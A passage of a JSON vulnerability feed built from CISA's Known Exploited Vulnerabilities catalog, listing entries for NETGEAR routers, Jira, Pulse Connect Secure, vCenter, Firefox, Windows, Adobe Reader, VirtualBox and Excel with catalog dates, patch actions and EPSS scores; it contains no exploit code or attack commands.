not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"NETGEAR","product":"Multiple Routers","stacks":["Netgear","NETGEAR","Multiple Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-09-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99803,"percentile":0.99958,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-6277&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-6277","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-6277 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-6277&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-6277, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6077","cveId":"CVE-2017-6077","aliases":[],"kind":"vulnerability","title":"NETGEAR DGN2200 Remote Code Execution Vulnerability","summary":"NETGEAR DGN2200 wireless routers contain a vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"NETGEAR","product":"Wireless Router DGN2200","stacks":["Netgear","NETGEAR","Wireless Router DGN2200"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-09-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.68712,"percentile":0.99337,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6077","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6077 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6077, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11581","cveId":"CVE-2019-11581","aliases":[],"kind":"vulnerability","title":"Atlassian Jira Server and Data Center Server-Side Template Injection Vulnerability","summary":"Atlassian Jira Server and Data Center contain a server-side template injection vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Jira Server and Data Center","stacks":["Atlassian","Jira Server and Data Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-09-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84621,"percentile":0.99702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11581&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11581","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11581 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11581&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11581, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8218","cveId":"CVE-2020-8218","aliases":[],"kind":"vulnerability","title":"Pulse Connect Secure Code Injection Vulnerability","summary":"A code injection vulnerability exists in Pulse Connect Secure that allows an attacker to crafted a URI to perform an arbitrary code execution via the admin web interface.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"Pulse Secure","product":"Pulse Connect Secure","stacks":["Ivanti","Pulse Secure","Pulse Connect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-09-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3225,"percentile":0.98311,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8218","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8218 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21973","cveId":"CVE-2021-21973","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server and Cloud Foundation Server Side Request Forgery (SSRF) Vulnerability","summary":"VMware vCenter Server and Cloud Foundation Server contain a SSRF vulnerability due to improper validation of URLs in a vCenter Server plugin. This allows for information disclosure.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server and Cloud Foundation","stacks":["VMware","vCenter Server and Cloud Foundation"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-03-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88012,"percentile":0.99762,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21973&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21973","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21973 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21973&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21973, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26485","cveId":"CVE-2022-26485","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox Use-After-Free Vulnerability","summary":"Mozilla Firefox contains a use-after-free vulnerability in XSLT parameter processing which can be exploited to perform arbitrary code execution.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-03-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14261,"percentile":0.9657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26485&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26485","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26485 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26485&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26485, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26486","cveId":"CVE-2022-26486","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox Use-After-Free Vulnerability","summary":"Mozilla Firefox contains a use-after-free vulnerability in WebGPU IPC Framework which can be exploited to perform arbitrary code execution.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-03-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02362,"percentile":0.83665,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26486&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26486","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26486 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26486&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26486, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2002-0367","cveId":"CVE-2002-0367","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"smss.exe debugging subsystem in Microsoft Windows does not properly authenticate programs that connect to other programs, which allows local users to gain administrator or SYSTEM privileges.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04919,"percentile":0.92055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2002-0367&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2002-0367","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2002-0367 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2002-0367&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2002-0367, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2004-0210","cveId":"CVE-2004-0210","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"A privilege elevation vulnerability exists in the POSIX subsystem. This vulnerability could allow a logged on user to take complete control of the system.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07214,"percentile":0.94272,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2004-0210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2004-0210","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2004-0210 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2004-0210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2004-0210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2008-2992","cveId":"CVE-2008-2992","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Acrobat Input Validation Vulnerability","summary":"Adobe Acrobat and Reader contain an input validation issue in a JavaScript method that could potentially lead to remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99793,"percentile":0.99956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2008-2992&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2008-2992","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2008-2992 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2008-2992&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2008-2992, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2008-3431","cveId":"CVE-2008-3431","aliases":[],"kind":"vulnerability","title":"Oracle VirtualBox Insufficient Input Validation Vulnerability","summary":"An input validation vulnerability exists in the VBoxDrv.sys driver of Sun xVM VirtualBox which allows attackers to locally execute arbitrary code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"VirtualBox","stacks":["Oracle","VirtualBox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06876,"percentile":0.94013,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2008-3431&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2008-3431","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2008-3431 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2008-3431&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2008-3431, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-1123","cveId":"CVE-2009-1123","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Improper Input Validation Vulnerability","summary":"The kernel in Microsoft Windows does not properly validate changes to unspecified kernel objects, which allows local users to gain privileges via a crafted application.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04878,"percentile":0.91998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-1123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-1123","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-1123 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-1123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-1123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-3129","cveId":"CVE-2009-3129","aliases":[],"kind":"vulnerability","title":"Microsoft Excel Featheader Record Memory Corruption Vulnerability","summary":"Microsoft Office Excel allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Excel","stacks":["Microsoft Office","Microsoft","Excel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84034,"percentile":0.9969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-3129&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-3129","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-3129 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-3129&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-3129, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-0188","cveId":"CVE-2010-0188","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Acrobat Arbitrary Code Execution Vulnerability","summary":"Unspecified vulnerability in Adobe Reader and Acrobat allows attackers to cause a denial of service or possibly execute arbitrary code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader and Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Reader and Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88246,"percentile":0.99767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-0188&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-0188","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-0188 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-0188&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-0188, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-0232","cveId":"CVE-2010-0232","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Exception Handler Vulnerability","summary":"The kernel in Microsoft Windows, when access to 16-bit applications is enabled on a 32-bit x86 platform, does not properly validate certain BIOS calls, which allows local users to gain privileges.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28735,"percentile":0.98127,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-0232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-0232","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-0232 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-0232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-0232, scored 2026-10-25. This is a model estimate, not proof of 